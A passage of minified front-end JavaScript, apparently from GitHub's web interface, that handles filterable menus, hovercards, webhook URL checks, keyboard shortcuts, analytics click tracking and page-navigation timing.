o.length>0&&(r.cachedSuggestions=n,r.userResultCache.clear()),r.cachedSuggestions}return n}s(hi,"getPreRenderedUsers");function pi(e){Ze.set(e,{lastSearchResult:{suggestions:[],users:[]},cachedSuggestions:[],userResultCache:new Map})}s(pi,"initializeTypeAheadCache");async function gi(e,t,n){var o,r;Ro.set(e,t),await(0,en.Z)();const i=e.hasAttribute("data-filterable-show-suggestion-header"),a=e.hasAttribute("data-filterable-type-ahead"),l=e.hasAttribute("data-filterable-type-ahead-query-on-empty");let y=qo.get(e);if(!y)try{y=await fi(e,t,a,l),a||qo.set(e,y)}catch(B){if(B.name==="AbortError")return-1;throw B}if(!a&&Ro.get(e)!==t)return-1;const w=n.limit,S=e.querySelector("template"),R={};for(const B of e.querySelectorAll("input[type=hidden]"))R[`${B.name}${B.value}`]=B;let I=S.nextElementSibling;for(;I;){const B=I;I=B.nextElementSibling,B instanceof HTMLElement&&(a||B.getAttribute("aria-checked")==="true"||B.classList.contains("select-menu-divider"))?B.hidden=!0:B.remove()}let F=0;const X=t.trim()==="",oe=document.createDocumentFragment(),Q=e.querySelector(".js-divider-suggestions"),se=e.querySelector(".js-divider-rest"),ce=Ze.get(e);function de(B){const G=`${B.login} ${B.name}`.toLowerCase().trim().includes(t),z=!(w!=null&&F>=w)&&G;if(z||B.selected||B.suggestion){const Z=bi(B,S,R,ce);Z.hidden=!z,z&&F++,oe.appendChild(Z)}}s(de,"addItem");let Y=!1;if(Q&&(((o=y.suggestions)==null?void 0:o.length)>0||i&&y.users.length>0)){const B=(r=y.suggestions)!=null?r:[],G=B.filter(Z=>Z.selected),z=B.filter(Z=>!Z.selected);for(const Z of G)de(Z);oe.appendChild(Q);const ee=F;for(const Z of z)de(Z);Y=F>ee,Q.hidden=!Y||a&&!X,i&&y.users.length>0&&(Q.hidden=!X)}se&&oe.appendChild(se);const He=F;for(const B of y.users)de(B);return se&&(se.hidden=He===F||!Y),e.append(oe),F}s(gi,"substringMemoryFilterList");function bi(e,t,n,o){if(e.element!=null)return e.element;if(o==null?void 0:o.userResultCache.has(e.id))return o.userResultCache.get(e.id);const r=t.content.cloneNode(!0),i=r.querySelector("input[type=checkbox], input[type=radio]");e.type&&(i.name=`reviewer_${e.type}_ids[]`),i.value=e.id;const a=`${i.name}${e.id}`;let l=e.selected;n[a]&&(l=!0,n[a].remove(),delete n[a]);const y=r.querySelector("[role^=menuitem]");l&&(y.setAttribute("aria-checked","true"),i.checked=!0),e.disabled&&y.setAttribute("aria-disabled","true");const w=r.querySelector(".js-username");w&&(w.textContent=e.login);const S=r.querySelector(".js-description");S&&(S.textContent=e.name);const R=r.querySelector(".js-extended-description");R&&(e.description?R.textContent=e.description:R.remove());const I=r.querySelector(".js-avatar");return I.className=`${I.className} ${e.class}`,I.src=e.avatar,e.element=y,o==null||o.userResultCache.set(e.id,y),e.element}s(bi,"createReviewerItem"),(0,u.N7)(".js-filterable-field",{constructor:HTMLInputElement,initialize(e){e.autocomplete||(e.autocomplete="off");const t=e.hasAttribute("type-ahead")?200:null;let n=e.value;async function o(i){n!==i.value&&(n=i.value,await(0,k.gJ)(),(0,c.f)(i,"filterable:change"))}s(o,"onInputChange");async function r(){n=e.value,await(0,k.gJ)(),(0,c.f)(e,"filterable:change")}return s(r,"onFocus"),{add(i){i.addEventListener("focus",r),(0,te.oq)(i,o,{wait:t}),document.activeElement===i&&r()},remove(i){i.removeEventListener("focus",r),(0,te.iU)(i,o)}}}}),(0,c.on)("filterable:change",".js-filterable-field",async function(e){const t=e.currentTarget,n=t.value.trim().toLowerCase(),o=document.querySelectorAll(`[data-filterable-for="${t.id}"]`);for(const r of o){const i=await vi(r,n);if(i===-1)return;document.activeElement&&t===document.activeElement&&(0,h.x)(`${i} results found.`),r.dispatchEvent(new CustomEvent("filterable:change",{bubbles:!0,cancelable:!1,detail:{inputField:t}}))}});function yi(e){return e.hasAttribute("data-filter-value")?e.getAttribute("data-filter-value").toLowerCase().trim():e.textContent.toLowerCase().trim()}s(yi,"defaultText");async function vi(e,t){const n=parseInt(e.getAttribute("data-filterable-limit"),10)||null;let o=0;switch(e.getAttribute("data-filterable-type")){case"fuzzy-prio":{const r=t.toLowerCase();o=Mo(e,t,{limit:n,sortKey:s(a=>{const l=a.getAttribute("data-prio-filter-value").toLowerCase().trim(),y=a.textContent.toLowerCase().trim(),w=(0,ge.EW)(l,r)*2;let S=(0,ge.EW)(y,r);return w>S&&(S=w),S>0?{score:S,text:y}:null},"sortKey")});break}case"fuzzy":{const r=t.toLowerCase();o=Mo(e,t,{limit:n,sortKey:s(a=>{const l=yi(a),y=(0,ge.EW)(l,r);return y>0?{score:y,text:l}:null},"sortKey")});break}case"substring":o=Co(e,t.toLowerCase(),Ei,{limit:n});break;case"substring-memory":o=await gi(e,t,{limit:n});break;default:o=Co(e,t.toLowerCase(),wi,{limit:n});break}return e.classList.toggle("filterable-active",t.length>0),e.classList.toggle("filterable-empty",o===0),o}s(vi,"filter");function wi(e,t){return e.textContent.toLowerCase().trim().startsWith(t)}s(wi,"prefix");function Ei(e,t){return e.hasAttribute("data-skip-substring-filter")||e.classList.contains("select-menu-no-results")?null:(e.querySelector("[data-filterable-item-text]")||e).textContent.toLowerCase().trim().includes(t)}s(Ei,"substring"),(0,c.on)("filterable:change","details-menu .select-menu-list",function(e){const t=e.currentTarget,n=t.querySelector(".js-new-item-form");n&&Li(t,n,e.detail.inputField.value)});function Li(e,t,n){const o=n.length>0&&!ji(e,n);if(e.classList.toggle("is-showing-new-item-form",o),!o)return;t.querySelector(".js-new-item-name").textContent=n;const r=t.querySelector(".js-new-item-value");(r instanceof HTMLInputElement||r instanceof HTMLButtonElement)&&(r.value=n)}s(Li,"toggleForm");function ji(e,t){for(const n of e.querySelectorAll("[data-menu-button-text]"))if(n.textContent.toLowerCase().trim()===t.toLowerCase())return!0;return!1}s(ji,"itemExists"),(0,u.N7)("tab-container .select-menu-list .filterable-empty, details-menu .select-menu-list .filterable-empty",{add(e){e.closest(".select-menu-list").classList.add("filterable-empty")},remove(e){e.closest(".select-menu-list").classList.remove("filterable-empty")}});const _o=navigator.userAgent.match(/Firefox\/(\d+)/);_o&&Number(_o[1])<76&&((0,u.N7)('details-menu label[tabindex][role^="menuitem"]',e=>{const t=e.querySelector("input");if(!t)return;const n=e.classList.contains("select-menu-item"),o=t.classList.contains("d-none"),r=n||o||t.hidden;n&&t.classList.add("d-block"),o&&t.classList.remove("d-none"),r&&(t.classList.add("sr-only"),t.hidden=!1),e.removeAttribute("tabindex")}),(0,c.on)("focus",'details-menu label[role="menuitemradio"] input, details-menu label[role="menuitemcheckbox"] input',e=>{const t=e.currentTarget.closest("label");t.classList.contains("select-menu-item")&&t.classList.add("navigation-focus"),t.classList.contains("SelectMenu-item")&&t.classList.add("hx_menuitem--focus"),t.classList.contains("dropdown-item")&&t.classList.add("hx_menuitem--focus"),e.currentTarget.addEventListener("blur",()=>{t.classList.contains("select-menu-item")&&t.classList.remove("navigation-focus"),t.classList.contains("SelectMenu-item")&&t.classList.remove("hx_menuitem--focus"),t.classList.contains("dropdown-item")&&t.classList.remove("hx_menuitem--focus")},{once:!0})},{capture:!0}),(0,j.w4)("keydown",'details-menu label[role="menuitemradio"] input, details-menu label[role="menuitemcheckbox"] input',async function(e){if(Po(e))e.currentTarget instanceof Element&&Si(e.currentTarget);else if(e.key==="Enter"){const t=e.currentTarget;e.preventDefault(),await(0,k.gJ)(),t instanceof HTMLInputElement&&t.click()}}),(0,c.on)("blur",'details-menu label input[role="menuitemradio"], details-menu label input[role="menuitemcheckbox"]',e=>{Io(e.currentTarget)},{capture:!0}),(0,j.w4)("keyup",'details-menu label[role="menuitemradio"] input, details-menu label[role="menuitemcheckbox"] input',e=>{!Po(e)||e.currentTarget instanceof Element&&Io(e.currentTarget)}));function Po(e){return e.key==="ArrowDown"||e.key==="ArrowUp"}s(Po,"isArrowKeys");function Si(e){const t=e.closest("label");t.hasAttribute("data-role")||t.setAttribute("data-role",t.getAttribute("role")),e.setAttribute("role",t.getAttribute("data-role")),t.removeAttribute("role")}s(Si,"switchRoleToInputForNavigation");function Io(e){const t=e.closest("label");t.hasAttribute("data-role")||t.setAttribute("data-role",t.getAttribute("role")),t.setAttribute("role",t.getAttribute("data-role")),e.removeAttribute("role")}s(Io,"switchRoleBackToOriginalState");var nn=f(11820);function Do(){document.firstElementChild.classList.contains("js-skip-scroll-target-into-view")||(0,nn.lA)(document)&&(0,nn.kc)(document)}s(Do,"scrollTargetIntoViewIfNeeded"),(0,Xt.Z)(Do),(0,c.on)("click",'a[href^="#"]',function(e){const{currentTarget:t}=e;t instanceof HTMLAnchorElement&&setTimeout(Do,0)}),(0,c.on)("click",".js-flash-close",function(e){const t=e.currentTarget.closest(".flash-messages");e.currentTarget.closest(".flash").remove(),t&&!t.querySelector(".flash")&&t.remove()});const Ti=["flash-notice","flash-error","flash-message","flash-warn"];function Ai(e){for(const{key:t,value:n}of Ti.flatMap(Ve.$1)){(0,Ve.kT)(t);let o;try{o=atob(decodeURIComponent(n))}catch{continue}e.after(new lt.R(e,{className:t,message:o}))}}s(Ai,"displayFlash"),(0,u.N7)("template.js-flash-template",{constructor:HTMLTemplateElement,add(e){Ai(e)}});const on=new WeakMap;document.addEventListener("focus",function(e){const t=e.target;t instanceof Element&&!on.get(t)&&((0,c.f)(t,"focusin:delay"),on.set(t,!0))},{capture:!0}),document.addEventListener("blur",function(e){setTimeout(function(){const t=e.target;t instanceof Element&&t!==document.activeElement&&((0,c.f)(t,"focusout:delay"),on.delete(t))},200)},{capture:!0}),(0,C.AC)(".js-form-toggle-target",async function(e,t){try{await t.text()}catch{return}const n=e.closest(".js-form-toggle-container");n.querySelector(".js-form-toggle-target[hidden]").hidden=!1,e.hidden=!0});var Ci=f(99254);function ki(e){e instanceof CustomEvent&&(0,h.x)(`${e.detail} results found.`)}s(ki,"noticeHandler"),(0,u.N7)("fuzzy-list",{constructor:Ci.Z,subscribe:e=>(0,M.RB)(e,"fuzzy-list-sorted",ki)}),(0,c.on)("click",".email-hidden-toggle",function(e){const t=e.currentTarget.nextElementSibling;t instanceof HTMLElement&&(t.style.display="",t.classList.toggle("expanded"),e.preventDefault())});var ou=f(30479);(0,u.N7)(".js-hook-url-field",{constructor:HTMLInputElement,add(e){function t(){const n=e.form;if(!n)return;let o;try{o=new URL(e.value)}catch{}const r=n.querySelector(".js-invalid-url-notice");r instanceof HTMLElement&&(r.hidden=!!(e.value===""||o&&/^https?:/.test(o.protocol)));const i=n.querySelector(".js-insecure-url-notice");i instanceof HTMLElement&&o&&e.value&&(i.hidden=/^https:$/.test(o.protocol));const a=n.querySelector(".js-ssl-hook-fields");a instanceof HTMLElement&&(a.hidden=!(o&&o.protocol==="https:"))}s(t,"checkUrl"),(0,te.oq)(e,t),t()}});function Ho(e){const t=document.querySelectorAll(".js-hook-event-checkbox");for(const n of t)n.checked=n.matches(e)}s(Ho,"chooseEvents"),(0,c.on)("change",".js-hook-event-choice",function(e){const t=e.currentTarget,n=t.checked&&t.value==="custom",o=t.closest(".js-hook-events-field");if(o&&o.classList.toggle("is-custom",n),t.checked)if(n){const r=document.querySelector(".js-hook-wildcard-event");r.checked=!1}else t.value==="push"?Ho('[value="push"]'):t.value==="all"&&Ho(".js-hook-wildcard-event")}),(0,c.on)("click",".js-hook-deliveries-pagination-button",async function(e){const t=e.currentTarget;t.disabled=!0;const n=t.parentElement,o=t.getAttribute("data-url");n.before(await(0,pe.a)(document,o)),n.remove()}),(0,C.AC)(".js-redeliver-hook-form",async function(e,t){let n;try{n=await t.html()}catch{e.classList.add("failed");return}document.querySelector(".js-hook-deliveries-container").replaceWith(n.html)});var $e=f(11793);(0,u.N7)("[data-hotkey]",{constructor:HTMLElement,add(e){if((0,at.Ty)())(0,$e.N9)(e);else{const t=e.getAttribute("data-hotkey");if(t){const n=xi(t);n.length>0&&(e.setAttribute("data-hotkey",n),(0,$e.N9)(e))}}},remove(e){(0,$e.Tz)(e)}});function xi(e){return e.split(",").filter(n=>(0,at.YE)(n)).join(",")}s(xi,"filterOutCharacterKeyShortcuts");var rn=f(53692);let ne=document.querySelector(".js-hovercard-content");(0,u.N7)(".js-hovercard-content",e=>{ne=e});const Mi=(0,qe.Z)(pe.a);let Ce,mt=null,sn,an=0;const cn=12,ln=24,Oo=ln-7,No=16,qi=100,Ri=250;function Re(e){return"Popover-message--"+e}s(Re,"contentClass");function _i(e){setTimeout(()=>{if(document.body&&document.body.contains(e)){const t=e.querySelector("[data-hovercard-tracking]");if(t){const o=t.getAttribute("data-hovercard-tracking");o&&(0,_.q)("user-hovercard-load",JSON.parse(o))}const n=e.querySelector("[data-hydro-view]");n instanceof HTMLElement&&(0,rn.Fk)(n)}},500)}s(_i,"trackLoad");function Fe(){ne instanceof HTMLElement&&(ne.style.display="none",ne.children[0].innerHTML="",mt=null,Ce=null)}s(Fe,"hideCard");function Pi(e){const t=e.getClientRects();let n=t[0]||e.getBoundingClientRect()||{top:0,left:0,height:0,width:0};if(t.length>0){for(const o of t)if(o.leftan){n=o;break}}return n}s(Pi,"selectRectNearestMouse");function Ii(e){const{width:t,height:n}=ne.getBoundingClientRect(),{left:o,top:r,height:i,width:a}=Pi(e),l=r>n;if(e.classList.contains("js-hovercard-left")){const w=o-t-cn,S=r+i/2;return{containerTop:l?S-n+Oo+No/2:S-Oo-No/2,containerLeft:w,contentClassSuffix:l?"right-bottom":"right-top"}}else{const w=window.innerWidth-o>t,S=o+a/2,R=w?S-ln:S-t+ln;return{containerTop:l?r-n-cn:r+i+cn,containerLeft:R,contentClassSuffix:l?w?"bottom-left":"bottom-right":w?"top-left":"top-right"}}}s(Ii,"calculatePositions");function Di(e,t){if(!(ne instanceof HTMLElement))return;ne.style.visibility="hidden",ne.style.display="block",t.classList.remove(Re("bottom-left"),Re("bottom-right"),Re("right-top"),Re("right-bottom"),Re("top-left"),Re("top-right"));const{containerTop:n,containerLeft:o,contentClassSuffix:r}=Ii(e);t.classList.add(Re(r)),ne.style.top=`${n+window.pageYOffset}px`,ne.style.left=`${o+window.pageXOffset}px`,zi(e,ne),ne.style.visibility=""}s(Di,"positionCard");function Hi(e,t){if(!(ne instanceof HTMLElement))return;const n=ne.children[0];n.innerHTML="";const o=document.createElement("div");for(const r of e.children)o.appendChild(r.cloneNode(!0));n.appendChild(o),Di(t,n),_i(o),ne.style.display="block"}s(Hi,"showCard");function Oi(e){const t=e.closest("[data-hovercard-subject-tag]");if(t)return t.getAttribute("data-hovercard-subject-tag");const n=document.head&&document.head.querySelector('meta[name="hovercard-subject-tag"]');return n?n.getAttribute("content"):null}s(Oi,"determineEnclosingSubject");function Ni(e){const t=e.getAttribute("data-hovercard-url");if(t){const n=Oi(e);if(n){const o=new URL(t,window.location.origin),r=new URLSearchParams(o.search.slice(1));return r.append("subject",n),r.append("current_path",window.location.pathname+window.location.search),o.search=r.toString(),o.toString()}return t}return""}s(Ni,"hovercardUrlFromTarget");function Bi(e){const t=e.getAttribute("data-hovercard-type");return t==="pull_request"||t==="issue"?!!e.closest("[data-issue-and-pr-hovercards-enabled]"):t==="team"?!!e.closest("[data-team-hovercards-enabled]"):t==="repository"?!!e.closest("[data-repository-hovercards-enabled]"):t==="commit"?!!e.closest("[data-commit-hovercards-enabled]"):t==="project"?!!e.closest("[data-project-hovercards-enabled]"):t==="discussion"?!!e.closest("[data-discussion-hovercards-enabled]"):t==="acv_badge"?!!e.closest("[data-acv-badge-hovercards-enabled]"):t==="sponsors_listing"?!!e.closest("[data-sponsors-listing-hovercards-enabled]"):!0}s(Bi,"hovercardsAreEnabledForType");async function $i(e,t){if("ontouchstart"in document)return;const o=e.currentTarget;if(e instanceof MouseEvent&&(an=e.clientX),!(o instanceof Element)||Ce===o||o.closest(".js-hovercard-content")||!Bi(o))return;Fe(),Ce=o,mt=document.activeElement;const r=Ni(o);let i;try{const a=new Promise(l=>window.setTimeout(l,t,0));i=await Mi(document,r),await a}catch(a){const l=a.response;if(l&&l.status===404){const y="Hovercard is unavailable";o.setAttribute("aria-label",y),o.classList.add("tooltipped","tooltipped-ne")}else if(l&&l.status===410){const y=await l.clone().json();o.setAttribute("aria-label",y.message),o.classList.add("tooltipped","tooltipped-ne")}return}o===Ce&&(Hi(i,o),e instanceof KeyboardEvent&&ne instanceof HTMLElement&&ne.focus())}s($i,"activateFn");function Fi(e){$i(e,Ri)}s(Fi,"activateWithTimeoutFn");function un(e){if(!!Ce){if(e instanceof MouseEvent&&e.relatedTarget instanceof HTMLElement){const t=e.relatedTarget;if(t.closest(".js-hovercard-content")||t.closest("[data-hovercard-url]"))return}else e instanceof KeyboardEvent&&mt instanceof HTMLElement&&mt.focus();Fe()}}s(un,"deactivateFn");function Ui(e){const t=Ce;sn=window.setTimeout(()=>{Ce===t&&un(e)},qi)}s(Ui,"deactivateWithTimeoutFn");function Bo(e){if(e instanceof KeyboardEvent)switch(e.key){case"Escape":un(e)}}s(Bo,"keyupFn");function Wi(){sn&&clearTimeout(sn)}s(Wi,"cancelDeactivation"),ne&&((0,u.N7)("[data-hovercard-url]",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"mouseover",Fi),(0,M.RB)(e,"mouseleave",Ui),(0,M.RB)(e,"keyup",Bo))}),(0,u.N7)("[data-hovercard-url]",{remove(e){Ce===e&&Fe()}}),(0,u.N7)(".js-hovercard-content",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"mouseover",Wi),(0,M.RB)(e,"mouseleave",un),(0,M.RB)(e,"keyup",Bo))}),(0,c.on)("menu:activated","details",Fe),window.addEventListener("turbo:load",Fe),window.addEventListener("statechange",Fe));function zi(e,t){const n=e.getAttribute("data-hovercard-z-index-override");n?t.style.zIndex=n:t.style.zIndex="100"}s(zi,"setZIndexOverride"),async function(){document.addEventListener("pjax:complete",()=>(0,_.Y)({pjax:"true"})),document.addEventListener("soft-nav:success",()=>(0,_.Y)({turbo:"true"})),await me.C,(0,_.Y)()}(),(0,c.on)("click","[data-octo-click]",function(e){const t=e.currentTarget;if(!(t instanceof HTMLElement))return;const n=t.getAttribute("data-octo-click")||"",o={};if(t.hasAttribute("data-ga-click")){const i=t.getAttribute("data-ga-click").split(",");o.category=i[0].trim(),o.action=i[1].trim()}if(t.hasAttribute("data-octo-dimensions")){const r=t.getAttribute("data-octo-dimensions").split(",");for(const i of r){const[a,l]=i.split(/:(.+)/);a&&(o[a]=l||"")}}(0,_.q)(n,o)});var $o=f(84818);const{getItem:su}=(0,$o.Z)("localStorage");function Fo(e,t){var n,o}s(Fo,"debugPayload"),(0,c.on)("click","[data-hydro-click]",function(e){const t=e.currentTarget,n=t.getAttribute("data-hydro-click")||"",o=t.getAttribute("data-hydro-click-hmac")||"",r=t.getAttribute("data-hydro-client-context")||"";Fo("hydro-debug.click",n),(0,rn.$S)(n,o,r)}),(0,c.on)("click","[data-optimizely-hydro-click]",function(e){const t=e.currentTarget,n=t.getAttribute("data-optimizely-hydro-click")||"",o=t.getAttribute("data-optimizely-hydro-click-hmac")||"";Fo("hydro-debug.optimizely",n),(0,rn.$S)(n,o,"")}),(0,C.AC)(".js-immediate-updates",async function(e,t){let n;try{n=(await t.json()).json.updateContent}catch(o){o.response.json&&(n=o.response.json.updateContent)}if(n)for(const o in n){const r=n[o],i=document.querySelector(o);i instanceof HTMLElement&&(0,Me.Of)(i,r)}}),document.addEventListener("DOMContentLoaded",Ki);async function Ki(){if((0,U.c)("IMAGE_METRIC_TRACKING")===!1)return;const e=Array.from(document.querySelectorAll("img.js-img-time")).slice(0,5),t=Date.now(),n=[];await Promise.all(e.map(o=>Vi(o,t,n))),n.length>0&&(0,he.b)({transparentRedirectTimings:n})}s(Ki,"onDOMContentLoaded");async function Vi(e,t,n){const o=/\/assets\/storage\/user\/([0-9]+)\/files\/([{]?[0-9a-fA-F]{8}-([0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12}[}]?)/,r=/assets\/([0-9]+)\/([{]?[0-9a-fA-F]{8}-([0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12}[}]?)/,i=e.getAttribute("src");if(!i)return;const a=new URL(i,window.location.origin),l=o.test(a.pathname)?o:r,[,y,w]=a.pathname.match(l)||[];if(!y||!w)return;await fetch(`/assets/measure/${y}/${w}`);const R={duration:Date.now()-t,fileGUID:w,userID:y};n.push(R)}s(Vi,"measureRedirectTiming"),(0,u.N7)("[data-indeterminate]",{constructor:HTMLInputElement,initialize(e){e.indeterminate=!0}});var Xi=f(51244);function Gi(){f.e("app_assets_modules_github_jump-to_ts").then(f.bind(f,35653))}s(Gi,"load"),(0,u.N7)(".js-jump-to-field",{constructor:HTMLInputElement,add(e){e.addEventListener("focusin",Gi,{once:!0}),(0,Xi.Nc)(window.location.pathname)}});let dn=!1;async function Uo(){if(dn)return;dn=!0;const t={contexts:document.querySelector("meta[name=github-keyboard-shortcuts]").content},n=`/site/keyboard_shortcuts?${new URLSearchParams(t).toString()}`,o=await(0,Te.W)({content:(0,pe.a)(document,n),labelledBy:"keyboard-shortcuts-heading"});o.style.width="800px",o.addEventListener("dialog:remove",function(){dn=!1},{once:!0})}s(Uo,"showKeyboardShortcuts"),(0,c.on)("click",".js-keyboard-shortcuts",Uo),document.addEventListener("keydown",e=>{e instanceof KeyboardEvent&&(!(0,at.Zf)(e)||e.target instanceof Node&&(0,L.sw)(e.target)||(0,$e.EL)(e)==="Shift+?"&&Uo())}),(0,u.N7)(".js-modifier-key",{constructor:HTMLElement,add(e){if(/Macintosh/.test(navigator.userAgent)){let t=e.textContent;t&&(t=t.replace(/ctrl/,"\u2318"),t=t.replace(/alt/,"\u2325"),e.textContent=t)}}}),(0,u.N7)(".js-modifier-label-key",{add(e){var t;let n=(t=e.textContent)==null?void 0:t.replace(/ctrl/i,"Ctrl");!n||(/Macintosh/.test(navigator.userAgent)&&(n=n.replace(/ctrl/i,"Cmd"),n=n.replace(/alt/i,"Option")),e.textContent=n)}});function ht(e){const t=e.currentTarget;if(!(t instanceof HTMLInputElement||t instanceof HTMLTextAreaElement))return;const n=parseInt(t.getAttribute("data-input-max-length")||"",10),o=parseInt(t.getAttribute("data-warning-length")||"",10)||5,i=t.value.replace(/(\r\n|\n|\r)/g,`\r +`);let a=n-i.length;if(a<=0){let S=i.substr(0,n);S.endsWith("\r")?(S=S.substr(0,n-1),a=1):a=0,t.value=S}const l=t.getAttribute("data-warning-text"),w=t.closest(".js-length-limited-input-container").querySelector(".js-length-limited-input-warning");a<=o?(w.textContent=l.replace(new RegExp("{{remaining}}","g"),`${a}`),w.classList.remove("d-none")):(w.textContent="",w.classList.add("d-none"))}s(ht,"displayLengthWarning"),(0,u.N7)(".js-length-limited-input",{add(e){e.addEventListener("input",ht),e.addEventListener("change",ht)},remove(e){e.removeEventListener("input",ht),e.removeEventListener("change",ht)}}),(0,c.on)("click",".js-member-search-filter",function(e){e.preventDefault();const t=e.currentTarget.getAttribute("data-filter"),o=e.currentTarget.closest("[data-filter-on]").getAttribute("data-filter-on"),r=document.querySelector(".js-member-filter-field"),i=r.value,a=new RegExp(`${o}:(?:[a-z]|_|((').*(')))+`),l=i.toString().trim().replace(a,"");r.value=`${l} ${t}`.replace(/\s\s/," ").trim(),r.focus(),(0,c.f)(r,"input")}),(0,c.on)("auto-check-success",".js-new-organization-name",function(e){const t=e.target,o=t.closest("dd").querySelector(".js-field-hint-name");!o||(o.textContent=t.value)}),(0,C.AC)(".js-notice-dismiss",async function(e,t){await t.text(),e.closest(".js-notice").remove()}),(0,c.on)("submit",".js-notice-dismiss-remote",async function(e){const t=e.currentTarget;e.preventDefault();let n;try{n=await fetch(t.action,{method:t.method,body:new FormData(t),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{(0,T.v)();return}n&&!n.ok?(0,T.v)():t.closest(".js-notice").remove()});function Zi(e){try{const t=e.getBoundingClientRect();if(t.height===0&&t.width===0||e.style.opacity==="0"||e.style.visibility==="hidden")return!1}catch{}return!0}s(Zi,"isVisible"),(0,c.on)("click",".js-github-dev-shortcut",function(e){e.preventDefault();for(const n of document.querySelectorAll("textarea.js-comment-field"))if(n.value&&Zi(n)&&!confirm("Are you sure you want to open github.dev?"))return;const t=e.currentTarget;t.pathname=window.location.pathname,t.hash=window.location.hash,window.location.href=t.href}),(0,c.on)("click",".js-github-dev-new-tab-shortcut",function(e){const t=e.currentTarget;t.pathname=window.location.pathname,t.hash=window.location.hash});function Ji(e,t,n){const o=new URL("",window.location.origin),r=t.pathname.split("/");o.pathname=r.slice(1,3).join("/"),o.hash=t.hash,n&&(o.search=`?q=${encodeURIComponent(n)}`);const a=new URLSearchParams(t.search).get("q");return a?o.search=`?q=${encodeURIComponent(a)}`:r.length>=6&&(r[3]==="blob"||r[3]==="tree")&&(o.pathname=t.pathname),o.host=e.host,o.protocol=e.protocol,o.port=e.port,o}s(Ji,"getBlackbirdURL"),(0,c.on)("click",".js-blackbird-shortcut",function(e){var t;const n=e.currentTarget,o=Ji(n,new URL(window.location.href,window.location.origin),(t=window.getSelection())==null?void 0:t.toString());n.href=o.href}),(0,c.on)("click",".js-permalink-shortcut",function(e){const t=e.currentTarget;try{(0,E.lO)(null,"",t.href+window.location.hash)}catch{window.location.href=t.href+window.location.hash}for(const n of document.querySelectorAll(".js-permalink-replaceable-link"))n instanceof HTMLAnchorElement&&(n.href=n.getAttribute("data-permalink-href"));e.preventDefault()}),(0,C.AC)(".js-permission-menu-form",async function(e,t){const n=e.querySelector(".js-permission-success"),o=e.querySelector(".js-permission-error");n.hidden=!0,o.hidden=!0,e.classList.add("is-loading");let r;try{r=await t.json()}catch{e.classList.remove("is-loading"),o.hidden=!1;return}e.classList.remove("is-loading"),n.hidden=!1;const i=e.closest(".js-org-repo");if(i){const a=r.json;i.classList.toggle("with-higher-access",a.members_with_higher_access)}}),async function(){await me.x;const e=document.querySelector(".js-pjax-loader-bar");if(!e)return;const t=e.firstElementChild;if(!(t instanceof HTMLElement))return;let n=0,o=null,r=null;function i(){a(0),e&&e.classList.add("is-loading"),o=window.setTimeout(l,0)}s(i,"initiateLoader");function a(w){t instanceof HTMLElement&&(w===0&&(r==null&&(r=getComputedStyle(t).transition),t.style.transition="none"),n=w,t.style.width=`${n}%`,w===0&&(t.clientWidth,t.style.transition=r||""))}s(a,"setWidth");function l(){n===0&&(n=12),a(Math.min(n+3,95)),o=window.setTimeout(l,500)}s(l,"increment");function y(){o&&clearTimeout(o),a(100),e&&e.classList.remove("is-loading")}s(y,"finishLoader"),document.addEventListener("pjax:start",i),document.addEventListener("pjax:end",y)}();let fn=null;const mn="last_pjax_request",pt="pjax_start",hn="pjax_end";function Qi(e){e instanceof CustomEvent&&e.detail&&e.detail.url&&(window.performance.mark(pt),fn=e.detail.url)}s(Qi,"markPjaxStart");async function Yi(){if(await(0,k.gJ)(),!window.performance.getEntriesByName(pt).length)return;window.performance.mark(hn),window.performance.measure(mn,pt,hn);const t=window.performance.getEntriesByName(mn).pop(),n=t?t.duration:null;!n||(fn&&(0,he.b)({requestUrl:fn,pjaxDuration:Math.round(n)}),ea())}s(Yi,"trackPjaxTiming");function ea(){window.performance.clearMarks(pt),window.performance.clearMarks(hn),window.performance.clearMeasures(mn)}s(ea,"clearPjaxMarks"),"getEntriesByName"in window.performance&&(document.addEventListener("pjax:start",Qi),document.addEventListener("pjax:end",Yi));let pn=null;const gn="last_turbo_request",gt="turbo_start",bn="turbo_end";function ta(e){var t;e instanceof CustomEvent&&(!((t=e.detail)==null?void 0:t.url)||(window.performance.mark(gt),pn=e.detail.url))}s(ta,"markTurboStart");async function na(){if(await(0,k.gJ)(),!window.performance.getEntriesByName(gt).length)return;window.performance.mark(bn),window.performance.measure(gn,gt,bn);const t=window.performance.getEntriesByName(gn).pop(),n=t?t.duration:null;!n||(pn&&(0,he.b)({requestUrl:pn,turboDuration:Math.round(n)}),oa())}s(na,"trackTurboTiming");function oa(){window.performance.clearMarks(gt),window.performance.clearMarks(bn),window.performance.clearMeasures(gn)}s(oa,"clearTurboMarks"),"getEntriesByName"in window.performance&&(document.addEventListener("turbo:before-fetch-request",ta),document.addEventListener("turbo:render",na));var iu=f(11724);function ra(e,t){const n=e.split("/",3).join("/"),o=t.split("/",3).join("/");return n===o}s(ra,"isSameRepo"),(0,c.on)("pjax:click","#js-repo-pjax-container a[href]",function(e){const t=e.currentTarget.pathname;ra(t,location.pathname)||e.preventDefault()}),(0,c.on)("pjax:click",".js-comment-body",function(e){const t=e.target;t instanceof HTMLAnchorElement&&t.pathname.split("/")[3]==="files"&&e.preventDefault()});var au=f(54293),Wo=f(53412);(0,U.c)("TURBO")?(async()=>(0,c.on)("click",".js-turbo-history-navigate",function(e){const t=e;if(!(t.currentTarget instanceof HTMLAnchorElement)||t.shiftKey||t.metaKey||t.ctrlKey||t.altKey)return;const n=(0,E._C)(),o=(0,E.Mw)();n&&t.currentTarget.href===n?(t.preventDefault(),zo(n),history.back()):o&&t.currentTarget.href===o&&(t.preventDefault(),zo(o),history.forward())}))():(0,c.on)("pjax:click",".js-pjax-history-navigate",function(e){e.currentTarget instanceof HTMLAnchorElement&&(e.currentTarget.href===(0,E._C)()?(history.back(),e.detail.relatedEvent.preventDefault(),e.preventDefault()):e.currentTarget.href===(0,E.Mw)()&&(history.forward(),e.detail.relatedEvent.preventDefault(),e.preventDefault()))});function zo(e){document.addEventListener("turbo:before-fetch-request",function(t){if(!(0,Wo.H)(t.target))return;const n=t.detail.url.href;e===n&&(t.preventDefault(),(0,Se.F2)())},{once:!0})}s(zo,"cancelNextTurboFrameFetchRequest");function Ko(e){return e.getAttribute("data-pjax-preserve-scroll")!=null?!1:0}s(Ko,"preserveScrollTo");function yn(e){let 